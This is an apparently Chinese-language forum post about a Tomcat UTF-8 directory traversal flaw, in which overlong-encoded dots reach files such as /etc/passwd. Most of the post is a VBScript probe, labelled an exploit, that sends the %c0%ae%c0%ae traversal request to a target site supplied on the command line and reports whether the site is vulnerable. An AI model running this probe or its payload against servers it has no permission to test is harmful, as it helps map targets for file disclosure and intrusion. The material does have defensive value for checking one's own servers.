Apache Tomcat UTF-8编码漏洞

呵呵，Apache Tomcat出了一个类似当年IIS url 编码的漏洞。既然CVE已经已经公布了，我也来发一下吧！

漏洞发生在Apache Tomcat处理UTF-8编码时，没有正确转换，从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式，使得可以遍历系统任意文件，包括

/etc/passwd等

触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项

漏洞测试代码如下：

Dim strUrl,strSite

showB()

Set Args = Wscript.Arguments

If Args.Count <> 1 Then

ShowU()

Else

strSite=Args(0)

End If

strUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"

Set objXML = CreateObject("Microsoft.XMLHTTP")

objXML.Open "GET",strSite & strUrl, False

objXML.SetRequestHeader "Referer", strSite

objXML.send()

if objXML.status=200 then

wscript.echo("存在漏洞")

end if

Sub showB()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("Exploit Apache Tomcat UTF-8")

.Echo("Code By Safe3")

.Echo("+--------------------------=====================------------------------------+")

End with

End Sub

Sub showU()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("用法:")

.Echo(" cscript "&.ScriptName&" site")

.Echo("例子:")

.Echo(" cscript "&.ScriptName&" http://www.example.com >result.txt")

.Echo("+--------------------------=====================------------------------------+")

.Quit

End with

End Sub